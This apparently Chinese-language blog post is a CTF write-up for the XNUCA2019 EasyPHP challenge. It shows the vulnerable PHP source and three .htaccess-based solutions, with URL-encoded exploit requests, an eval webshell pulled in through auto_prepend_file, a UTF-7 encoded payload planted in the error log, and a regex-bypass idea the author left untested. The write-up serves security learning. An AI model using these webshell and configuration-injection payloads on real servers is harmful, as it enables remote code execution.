CTF Web安全

[XNUCA2019Qualifier]EasyPHP(.htaccess利用)

Posted on 2020-02-01,6 min read
<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

代码量很少。作用如下:
1.访问index.php。就会删除当前目录下除了index.php的其他文件
2.包含fl3g.php
3.GET[content]on/html/type/flag/upload/file4._GET['content']为文件内容。不能包含on/html/type/flag/upload/file这几个字符 4._GET['content']为文件名。只能为a-z.
5.重复执行1的操作
6.写入文件。并且追加\nxxxx字符串。用于污染

http://4e99d98b-7b83-426d-8826-a7affde09566.node3.buuoj.cn/?filename=a.php&content=<?php phpinfo();?>
可以成功写入a.php。但是这里将php以文件输出了。不知道为啥。


接着又想到.htaccess。可以指定文件以php运行。

思路就是写一个.htaccess。指定test文件以php运行
然后写一个test文件。内容是php代码
但是这里用不了。因为我们要生成两个文件。也就意味着访问两次index.php
访问一次。就会清空一次。假设生成了.htaccess。当我们再去生成test时。htaccess就会被删除

接着思考。.htaccess还能干嘛。之前刷题时。记得.htaccess能自动包含文件

php_value auto_prepend_file  ".htaccess"

如果将php代码写入.htaccess。代码前注释。访问index.php。就会自动包含.htaccess中的恶意代码
由于是先包含。再执行php代码。所以我们的恶意代码先执行。再删除.htaccess。我们就能获得一次执行命令的机会

php_value auto_prepend_fi\
le ".htaccess"
#<?php @eval($_GET['cmd']); ?>\

由于php中过滤了file。我们用斜杠绕过。htaccess中斜杠。相当于Linux下的斜杠。可以将两条语句拼接。不会报错。最后生成如下

php_value auto_prepend_fi\le ".htaccess"
#<?php @eval($_GET['cmd']); ?>\Just one chance

.htaccess中的#号将我们的恶意代码和污染的字符串都注释了。从而可以正常运行

filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20%22.htaccess%22%0A%23%3C%3fphp%20%40eval(%24_GET[%27cmd%27])%3b%20%3f%3E\

这里%0a表示换行。并且URL编码一些特殊字符比如?#

直接执行代码

执行一次。就要重新生成一次.htaccess
第二种解法:
利用.htaccess配合include(f13g.php)
由于.htaccess可以配置php的配置项。比如文件包含路径。日志路径等
这里就是利用.htaccess将错误日志保存为/tmp/f13g.php
然后利用.htaccess设置php include_path。设置包含路径为/tmp
那么包含f13g.php就不会在当前目录下包含文件。而是去/tmp下包含

首先。写第一个htaccess。设置错误日志保存为/tmp/fl3g.php
并且使其报错将恶意代码写入日志
?filename=.htaccess&content=php_value error_log /tmp/fl3g.php%0aphp_value error_reporting 32767%0aphp_value include_path "%2bADw%3fphp%20eval($_GET[1])%2bADs%20%2bAF8AXw-halt%2bAF8-compiler()%2bADs"%0a%23 \

写入后。如下:

php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \

设置php错误日志文件名为/tmp/fl3g.php
设置include_path=utf-7加密的php代码。因为日志写入的过程中。会将<>这些html编码
然后访问index.php
这里用我本地开启报错的环境。更明显

可以看到。恶意代码已经写入了日志

接下来写第二个htaccess。它的作用是UTF-7解码并且设置include_path。等会index.php包含fl3g.php的时候。就会包含/tmp/fl3g.php中解码的恶意代码

?filename=.htaccess&content=php_value include_path "/tmp"%0aphp_value zend.multibyte 1%0aphp_value zend.script_encoding "UTF-7"%0a%23 \

直接构造exp的URL。访问index.php。会删除htaccess。导致不能包含fl3g.php

访问完。htaccess就被删除了。又要重新生成一次
第三种解法(未实现)
也是利用.htaccess.

    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }

这里使用preg_match匹配。而这个函数有一个prce回溯。这里只判断返回结果是否等于1.也就是True
而prce回溯是可以定义。超过回溯。就会返回False。也就是0
即可绕过正则。直接写入fl3g.php
然后文件包含利用。

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

请求filename=fl3g.php&content=<?php phpinfo();?>
访问index.php就好了

这里我有一点想不通。首先。生成了fl3g.php
而访问index.php会删除index.php以外的文件。那么fl3g.php在include前就已经被删除了。又是怎么包含的。

下一篇: [jactf]sawed→